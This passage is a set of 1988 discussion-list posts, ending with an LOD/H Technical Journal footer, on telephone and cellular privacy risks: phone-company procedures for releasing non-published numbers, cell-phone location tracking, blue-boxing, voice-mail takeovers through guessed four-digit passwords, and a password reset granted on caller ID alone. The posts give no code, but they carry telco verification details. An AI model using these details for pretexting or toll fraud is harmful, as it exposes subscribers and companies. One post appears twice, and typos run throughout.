non-published number of a subscriber, then certain security precautions kick into place. Only a tiny percentage of telephone company employees are deemed to have a 'need to know' in the first place; among these would be the GCO's (Grup Chef Operators), certain management people in the central offices, certain people in the Treasury/Accounting office, andof course, security representatives both from Illinois Bell and the various long distance carriers, such as AT&T/Sprint/MCI. Let us have a hypothetical example for our Correspondent: Your mother has taken seriously ill, and is on her deathbed. Your brother is unable to reach you to notify you of this because you have a non-pub number. When his request for the number has been turned down by Directory Assistance, simply because they do not have it, he asks to speak with a supervisor, and he explains the problem. He provides his own name and telephone number, and the supervisor states he will be called back at a later time. The supervisor does not question if in fact an emergency exists, which is the only valid reason for breaking security. The supervisor may, if they are doing their job correctly, ask the inquirer point blank, "Are you stating there is an emergency situation?". Please bear inmind tat the law in Illinois and in many other states says that if a person claims that an emergency exists in order to influence the use (or discontinuance of use) of the telephone when in fact there is no emergency is guilty of a misdemeanor crime. You say yes this is an emergency and I need to contact my brother/sister/etc right away. The supervisor will then talk to his/her supervisor, who is generally of the rank of Chief Operator for that particular facility. The Chief Operator will call the NonPub people, will identify herself, and *leave her own call back number*. The NonPub people will call back to verify the origin of the call, and only then will there be information given out regards your brother's telephone number. It helps if you know the *exact* way the name appears in the records, and the *exact* address; if there is more than one of that name with non-pub service, they may tell you they are unable to figure out who it is you want. The NonPub person will then call the subscriber with the nn-published number and explain to tem what has occurred: So and so has contacted one of our operators and asked for assistance in reaching you. The party states that it is a family emergency which requires your immediate attention. Would it be alright if we give him/her your number, *or would you prefer to call them back yourself? Based on the answer given, the number is either relayed back to the Chief Operator, or a message is rlaedback saying the non-pub customer has been notified. If the customer says it is okay to pass his number, then the Chief Operator will call you back, ask who YOU are, rather than saying WHO she wants, and satisfied with your identification will give you the number you are seeking or will advise you that your brother has been given the message by someone from our office, and has said he will contact you. Before the NonPub people will even talk to you, your 'call back number' has to be on their list of approved numbers for that purpose. A clerk n the Business Office cannot imitate a Chief Operator for example, simply because NonPub would say that the number you are asking us to call back to is not on our list. "Tell your supervisor what it is you are seeking and have them call us..." Other emergency type requests for non-pub numbers would be a big fire at some business place in the middle of the night, and the owners of the company must be notified at their home; or a child is found wandering by the police and the child is too young to know his parent's (non-pub) number. They will also handle non-emergency requests, but only if they are of some importance and not frivolous in nature. You have just come to our city to visit and are seeking a long lost friend who has a non-pub number; you are compiling the invitations to your high school class fiftieth re-union and find a class member is non-pub. Within certain reasonable limits, they will pass along your request to the desired party and let them make the choice of whether to return the call or not. But always, you leave your phone number with them, and in due time someone will call yo back to report what has been said or done. You would be surprised -- or maybe you wouldn't -- at the numerous scams and [........] stories people tell the phone company to get the non-pub number of someone else. Fortunately, Bell takes a great deal of pride in their efforts to protect the privacy of their subscribers. Patrick Townson, The Portal Syse(TM) uunet!portal!cup.portal.com!Patrick_A_Townson ----------------------- Date: Tue, 4 Oct 88 18:01:58 CDT From: linnig@skvax1.csc.ti.com Subject: More on monitoring Cellular Phones Alan Kaminsky (ark%hoder@CS.RIT.EDU) writes: > When a phone detects a paging message with > its own address, it broadcasts a page response message. This response is > received by all the cells in the system, and the signal strength is measured. > The cell receiving the strongest response is assumed to be the cell in which > the phone is located, an unused frequency in that cell is assigned, and the > phone call is switched to a transceiver in that cell. Ah, but could the phone company send out a page without a following "ring them" message? If they could, then they could periodically poll your position, and your faithful cellular phone would report it without your knowledge. > As for business competitors monitoring calls you place on your cellular > telephone, to find out your clients' phone numbers: This is perfectly > possible.... One hopes the FCC, police, etc. > would prevent anyone from offering such a product commercially. Well, the communication privacy act recently passed prevents you from intercepting the audio side of the cellular phone conversation, but I doubt if it prevents you from picking up the dialing info. I think such a device might be considered in the same class as a "pen register." Pen registers record the numbers called on a telephone circuit. I believe the Supreme Court doesn't even require a search warrant to place a pen register on a phone. It may be quite legal to record the phone numbers dialed by a cellular phone. Someone with a law background want to comment? Mike Linnig, Texas Instruments ------------------------------ Date: Fri, 7 Oct 88 09:00:08 edt From: Henry Cox Subject: Reach Out and Touch Someone... TEENS RUN UP TELEPHONE BILL OF $650,000 [From the Montreal Gazette, 7 October 1988] LAS VEGAS (AP) - Ten teenage hackers may have run up $650 000 in telephone calls by tricking phone company computers, and their parents could be liable for the tab, authorities said. "They reached out, all right," assistant U.S. Attorney Russel Mayer said of the hackers, nine 14-year-olds and one 17-year-old. "They reached out and touched the world." Tom Spurlock, resident agent in charge of the Las Vegas Secret Service office, said the teen agers engaged in "blue boxing," a technique that enabled them to talk to fellow hackers throughout Europe. "They were calling numbers that were in the ATT system, and their (computer) programs would allow them to jump' ATT's circuits, allowing them to call anywhere in the world." The expensive shenanigans came to light when local phone company officials discovered unusual activity on nine Las Vegas phone lines, Spurlock said. He said federal agents obtained warrants and searched the nine homes. The teenagers weren't taken into custody or charged, but their computers were seized. Henry Cox ------------------------------ Date: Fri, 07 Oct 88 13:35:03 -0400 From: davis@community-chest.mitre.org Subject: Computer Security and Voice Mail >From the Oct 6 Washington Post. >From a news item "Hackers Find New Way to Tap Long-Distance Phone Lines". Zotos International Co. received two consecutive $75,000 phone bills, due to use of their automated answering system by hackers. Zotos' switchboard automatically routes incoming calls to the proper department. Hackers found a way to circumvent the system to place outgoing long-distance calls, in some cases to Pakistan and Senegal. In this case the calls were traced to Pakistani businesses in New York. However, police officials told Zotos that they must catch the hackers in the act in order to prosecute. The telephone company informed Zotos' mangement to pay the bills, and collect from the susspected hackers via the civil courts. In the same article, a related Los Angeles case of misuse of an electronic switchboard system by outsiders described 'capture' of 200 of a company's password-secured voice mail accounts. Outsiders, in this cases a dope ring and a prostitution ring, gained access by guessing the 4-digit passwords and changing them. The hackers backed off only when 'Federal authorities' began tracing calls. The article quotes security experts as recommending systems including several access codes. Also, major companies are adding software to detect changes in calling patterns. ------------------------------ Date: 6 Oct 88 09:45 From: plouff%nac.DEC@decwrl.dec.com (Wes Plouff) Subject: Re: Risks of Cellular Phones Recent writers to RISKS, starting with Chuck Weinstock in issue 7.57, have focused on the risk of vehicle location by cellular telephone systems. In my opinion, they exaggerate this risk and underestimate another risk of mobile phones, the complete lack of privacy in radio transmissions. Roughly 10 years ago I designed vehicle location controller hardware and firmware used in the Washington-Baltimore cellular demonstration system. That system led directly to products sold at least through the first waves of cellular system construction a few years ago. Since cellular base stations have intentionally limited geographic coverage, vehicle location is a requirement. This limitation is used to conserve radio channels; one cell's frequencies can be re-used by others far enough away in the same metropolitan area. The cell system must determine which cell a mobile user is located in when he begins a call, and when during a conversation a vehicle crosses from one cell into another. Cells are set up perhaps 3 to 20 miles in diameter and range from circular to very irregular shapes. Cellular phone systems are designed with ample margins so that statistically very few calls will be lost or have degraded voice quality. Making this system work does not require anything so fancy as triangulation. Vehicle location needs to be only good enough to keep signal quality acceptably high. John Gilmore explained in RISKS 7.58 how this works while the mobile phone is on-hook. During a conversation, the base station periodically measures the signal strength of an active mobile in its cell. When the signal strength goes below a threshold, adjacent cells measure the mobile's signal strength. This 'handoff trial' procedure requires no interaction with the mobile. If the mobile was stronger by some margin in an adjacent cell, both the mobile phone and the cellular exchange switch are ordered to switch to a channel and corresponding phone line in the new cell. Since base stations commonly use directional antennas to cover a full circle, mobiles could be reliably located in one third of the cell area at best. Distance-measuring techniques advocated by AT&T were not adopted because the added cost was too high for the modest performance gain. Certainly a cellular phone system can locate a mobile at any time, and always locates a mobile during a conversation. But the information is not fine-grained enough to implement some of the schemes imagined by previous writers. A more important risk is the risk of conversations being intercepted. The public airwaves are simply that: public. Scanner radios can easily be found or modified to cover the cellular band, and listeners will tolerate lower signal quality than cellular providers, hence one scanner can listen to cell base stations over a wide area. The communications privacy law is no shield because listeners are undetectable. To bring this back to risks of computers, automated monitoring and recording of selected mobile phones is probably beyond the reach of the average computer hobbyist, but easily feasible for a commercial or government organization using no part of the infrastructure whatever, just the control messages available on the air. Wes Plouff, Digital Equipment Corp, Littleton, Mass. plouff%nac.dec@decwrl.dec.com ------------------------------ Date: Wed, 12 Oct 88 20:34:01 -0700 From: davy@riacs.edu Subject: 100 digit primes no longer safe in crypto Taken from the San Jose Mercury News, Oct. 12, 1988, Page 8A: Computers able to make light work of cracking code (Los Angeles Times) Some secret codes intended to restrict access to military secrets and Swiss bank accounts may not be as safe as had been presumed, a team of computer experts demonstrated Tuesday. The team succeeded in doing what security experts thought could not be done: using ordinary computers to break down a 100-digit number into the components that produce it when multiplied together. That process, called factoring, holds the key to many security codes. Before Tuesday, experts had believed that if the number was large enough - up to 100 digits - its factoring would take about 10 months with a Cray super- computer, one of the most powerful computers in the world. But computer experts across the United States, Europe and Australia solved the problem more quickly by using 400 processors simultaneously. They linked their computers electronically and factored a 100-digit number in just 26 days. The number has two factors, one 41 digits long and the other 60 digits long. And that, according to Arjen Lenstra, professor of computer science at the University of Chicago, should be quite sobering to experts who believe they are secure with codes based on numbers that large. Lenstra headed the project, along with Mark S. Manasse of the Digital Equipment Corp.'s Systems Research Center in Palo Alto. [ quotes from experts ] Rodney M. Goodman, associate professor of electrical engineering and an expert on cryptography at the California Institute of Technology in Pasadena, described the achievement as "significant," because it means that some systems may not be as secure as had been thought. But he said it did not mean that security experts around the world would have to rebuild their systems. "All the cryptographers will do is increase the length of the number by a few more digits," he said, "because the problem gets exponentially worse as you increase the size of the number." A larger number is more cumbersome, and cryptographers had tried to kep the number as small as possible. [ explanation of the idea behind using large numbers with prime factors in cryptography ] Last year, Lenstra decided to tackle the problem on "a small scale, just to see if he could do it," according to Larry Arbeiter, spokesman for the Univ- ersity of Chicago. "It was a pure science type of effort." Several months ago, Lenstra presented his idea to Manasse, a computer re- search scientist with Digital. Manasse became so intrigued with the problem that his company agreed to fund much of the cost, including the use of more than 300 computer processors at the Palo Alto company during off-duty hours. The company manufactures DEC computers. "I was interested in the general problem of taking a program and breaking it up into small pieces" so that many could work simultaneously toward the sol- ution, Manasse said. Other computer enthusiasts from the "factoring community" clamored aboard and this fall more than 400 computers around the globe were ready to give it a try. The computers ranged in size from microcomputers to a Cray supercomputer, but even personal computers with large memories could have been used, Lenstra said. Each of the participating computers was given a different part of the problem to solve, and success came early Tuesday morning. ------------------------------ Date: 12 Oct 88 19:14:22 GMT From: spaf@purdue.edu (Gene Spafford) Subject: NSFnet Backbone Shot The following mail was forwarded to me a few minutes ago. This refers to the MCI fiber used to carry the NSFnet backbone. No wonder some of my mail has disappeared recently! [From: field inadvertently deleted?] => Date: Wed, 12 Oct 88 12:47:00 EDT => To: watchdogs@um.cc.umich.edu, ie@merit.edu => Subject: A bit of trivia => => The fiber that goes from Houston to Pittsburgh was broken due => to a gun blast....that is right, a gun blast. => Somewhere in the swamps of the Bayou (between Alabama and New Orleans) => the fiber cables are suspended above the swamps and a good ol' => boy was apparently target practicing on the cable. => => Traffic has been rerouted and when the investigation has taken place => and the cable fixed we will be put back on the original circuit. Gene Spafford NSF/Purdue/U of Florida Software Engineering Research Center, Dept. of Computer Sciences, Purdue University, W. Lafayette IN 47907-2004 Internet: spaf@cs.purdue.edu uucp: ...!$decwrl,gatech,ucbvax!purdue!spaf ------------------------------ Date: Tue, 11 Oct 88 00:14 MDT From: MCCLELLAND_G%CUBLDR@VAXF.COLORADO.EDU Subject: Intersection of ANI and Voice Mail Risks Recent reports in RISKS of nefarious deeds committed by hackers who entered a system via voice mail prompted me to inquire about the voice mail security of my university's system. A year ago the U bought its own fancy switch for on-campus communications. Some of the goodies include voice mail and ANI. I tried the voice mail once but since I much prefer e-mail I long ago forgot my voice mail password (yep, only 4 digits if the hackers want to start guessing). I called the telecommunications office to determine where I needed to go in person and with how many photo ID's to get my voice mail password. Even though I hadn't identified myself, the clerk said, "Oh that won't be necessary, Mr. McClelland, I'll just change your password back to the default password and you can then change it to whatever you want." I said, "But how do you know that I'm McClelland?" He replies, "Because it shows on the digital display on my phone both the phone number and name of the caller." [Most phones are in private offices so a unique name can be attached to each number.] I tried to explain that all he really knew was that I was someone calling from the phone in McClelland's office and that I could be the janitor, a grad student, or almost anyone. But security wasn't his problem so he wasn't very concerned. I was afraid to ask how many folks never bother to change their default password. As I was about to hang up, he said, "By the way, if you check your voice mail from your own extension you don't even need to enter your password." I said , "Thanks, that's reassuring" but I don't think he caught the sarcasm. Gary McClelland ------------------------------ Date: 6 Oct 88 09:45 From: plouff%nac.DEC@decwrl.dec.com (Wes Plouff) Subject: Re: Risks of Cellular Phones Recent writers to RISKS, starting with Chuck Weinstock in issue 7.57, have focused onthe risk of vehicle location by cellular telephone systems. In my opinion, they exaggerate this risk and underestimate another risk of mobile phones, the complete lack of privacy in radio transmissions. Roughly 10 years ago I designed vehicle location controller hardware and firmware used in the Washington-Baltimore cellular demonstration system. That system led directly to products sold at least through the first waves of cellular system construction a few years ago. Since cellular base stations have intentionally limited geographic coverage, vehicle location is a requirement. This limitation is used to conserve radio channels; one cell's frequencies can be re-used by others far enough away in the same metropolitan area. The cell system must determine which cell a mobile user is located in when he begins a call, and when during a conversation a vehicle crosses from one cell into another. Cells are set up perhaps 3 to 20 miles in diameter and range from circular to very irregular shapes. Cellular phone systems are designed with ample margins so that statistically very few calls will be lost or have degraded voice quality. Making this system work does not require anything so fancy as triangulation. Vehicle location needs to be only good enough to keep signal quality acceptably high. John Gilmore explained in RISKS 7.58 how this works while the mobile phone is on-hook. During a conversation, the base station periodically measures the signal strength of an active mobile in its cell. When the signal strength goes below a threshold, adjacent cells measure the mobile's signal strength. This 'handoff trial' procedure requires no interaction with the mobile. If the mobile was stronger by some margin in an adjacent cell, both the mobile phone and the cellular exchange switch are ordered to switch to a channel and corresponding phone line in e new cell. Since base stations commonly use directional antennas to cover a full circle, mobiles could be reliably located in one third of the cell area at best. Distance-measuring techniques advocated by AT&T were not adopted because the added cost was too high for the modest performance gain. Certainly a cellular phone system can locate a mobile at any time, and always locates a mobile during a conversation. But the information is not fine-grained enough to implement some of the schemes imagined by previous writers. A more important risk is the risk of conversations being intercepted. The public airwaves are simply that: public. Scanner radios can easily be found or modified to cover the cellular band, and listeners will tolerate lower signal quality than cellular providers, hence one scanner can listen to cell base stations over a wide area. The communications privacy law is no shield because listeners are undetectable. To bring this back to risks of computers, automated monitoring and recording of selected bile phones is probably beyond the reach of the average computer hobbyist, but easily feasible for a commercial or government organization using no part of the infrastructure whatever, just the control messages available on the air. Wes Plouff, Digital Equipment Corp, Littleton, Mass. plouff%nac.dec@decwrl.dec.com ------------------------------ Date: 28 Sep 88 10:10:47 +0100 (Wednesday) From: Peter Robinson Subject: Re: Risks of cellular telephones As a radio amateur, I have always been taught that using mobile transmitters near petrol stations is bad form - the radiation from the transmitter can induce currents in nearby metalwork and perhaps cause a spark. The thought of a cellular telephone being able to transmit without the operator's consent (in response to a paging call) is, therefore, slightly RISKy. Tis cold even get worse as technology progesses. As the sunspot cycle advances, it sees plausible that transmissions will carry further and interfere with those in nearby cells (not the adjacent ones, they usually have distinct frequencies). Before long the manufacturers will introduce adaptive control where the transmitter power is adjusted dynamically to compensate for variations in the signal path between the mobile and base stations. So then when you pull into a petrol station and receive a call, the system will notice that all the surrounding metal is impairing your signal and will increase the transmitter power accordingly... Incidentally, I am not sure what power these radios use, but I would be slightly nervous about using a hand-held telephone with the antenna anywhere near my eyes if it is more than a few Watts. ------------------------------ Date: Sat, 8 Oct 88 15:59:56 MET From: "Walter Doerr" Subject: Risks of cellulr phnes Chuck Weistock writes in RISKS 7.57: > Subjec: Rsks of Cellular Phones? > > While discussing radio triangulation last nigh, the question came up: > If I dial a phone number attached to a cellular phone, how does the > cellular system know which cell should send the ring signal to the > phone? Is it a system wide broadcast, or does the cellular phone > periodically broadcast a "here I am" signal? In the 'C-Net' here in Germany, all mobile phones send a "here I am" signal whenever they move to a new cell. This information (the cell where the phone can be reached) is stored in the database of the phone's "home" base. Calls to mobile phones are routed to a computer in Frankfurt which contacts the home base computer (based on the first few digits of the mobile phonenumber), which, in turn, knows the cell the phone is currently in. > If the latter, a less than benevolent government (or phone company for > that matter) could use that information to track its citizens' cars' > whereabouts. According to an article in an electronics magazine, the German PTT was approached by a police agency, who expressed interest in the data stored in the networks computers. The article quotes a Siemens mobile telephone specialist as saying that it isn't possible topipoint the current location of a mobile phone because: - the phone must be switched on for the network to recognize it - the cells use omnidirectional antennas, so it isn't possible to determine the direction from where the mobile phone's signal came. While this is true, it is certainly possible to determine the location of a phone with an accuracy of a few miles (the size of the cell the phone is in) without using any additional direction finding methods (radio triangulation). Walter Doerr ------------------------------------------------------------------------------- End of the LOD/H Technical Journal #3 -------------------------------------------------------------------------------